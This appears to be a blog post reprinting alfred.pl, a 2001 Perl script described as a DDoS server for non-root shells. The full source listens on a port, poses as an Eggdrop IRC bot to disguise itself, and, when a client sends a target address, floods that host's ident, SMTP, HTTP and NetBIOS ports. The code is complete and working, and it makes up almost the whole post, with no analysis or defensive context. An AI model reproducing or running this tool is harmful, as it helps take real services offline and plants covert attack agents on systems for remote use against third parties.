alfred.pl

example ddos server for non-root shells that disguises itself as an eggdrop irc bot. (In our honest opinion #1)

eZine lover (@eZine)

Published in 

In our honest opinion

 · 6 Mar 2024

#!/usr/bin/perl -w 
# 
# example ddos server for non-root shells using perl sockets.. 
# listening port disuises itself as an eggdrop irc bot. 
# 
#  crafted by: heeb (heeb@phayze.com) [#og @ irc.ndrsnet.com] 
# 
#  version 0.1 (2/19/2001): 
#   very slow.. needs a whole lot of work to make it worth using. 
#   includes ident request flood, http GET / flood, smtp HELO flood, 
#   and a netbios \n flood. 

 
use IO::Socket; 
use Net::hostent; 

# use Data::Dumper;$Data::Dumper::Useqq=1; 
# print Dumper "blah" to see ending line chars 

$PORT = 23201; 
$JUNK = "\015\012"; 
$BLANK = $JUNK x 2; 
$server = IO::Socket::INET->new( Proto     => 'tcp', 
                                 LocalPort => $PORT, 
                                 Listen    => SOMAXCONN, 
                                 Reuse     => 1); 

die "can't setup server" unless $server; 
print "[Server $0 accepting clients]\n"; 

sub unf { 
 $hits="0"; 
 $number="250"; 
 $atk =~ s/[\r\n]+$//; 
 while ($hits <= $number) { 
  $ident = IO::Socket::INET->new( Proto     => "tcp", 
                                  PeerAddr  => $atk, 
                                  PeerPort  => "auth(113)", 
  ); 
  if ($ident) { 
   print $ident "420, 6667\n" . $BLANK; 
  } 

  $smtp = IO::Socket::INET->new( Proto     => "tcp", 
                                 PeerAddr  => $atk, 
                                 PeerPort  => "smtp(25)", 
  ); 
  if ($smtp) { 
   print $smtp "HELO blahd.yahoo.com\n" . $BLANK; 
  } 

  $http = IO::Socket::INET->new( Proto     => "tcp", 
                                 PeerAddr  => $atk, 
                                 PeerPort  => "80", 
  ); 
  if ($http) { 
   print $http "GET / HTTP/1.0\n\n" . $BLANK; 
  } 

  $netbios = IO::Socket::INET->new( Proto     => "tcp", 
                                    PeerAddr  => $atk, 
                                    PeerPort  => "139", 
  ); 
  if ($netbios) { 
   $longmsg = "\n" x 5000; 
   print $netbios "$longmsg\n\n" . $BLANK; 
  } 

  ++$hits; 
 }; 
} 

while ($client = $server->accept()) { 
  $client->autoflush(1); 
  print $client "\n\nheeb  (Eggdrop v1.1.5  (c)1997 Robey Pointer)\n"; 
  $hostinfo = gethostbyaddr($client->peeraddr); 
  printf "[Connect from %s]\n", $hostinfo->name || $client->peerhost; 
  print $client "\nPlease enter your nickname.\n"; 
  $atk = ''; 
  recv($client,$atk,1024,0); 
  close $client; 
  printf "** Attacking $atk"; 
  unf $atk; 
} 

exit;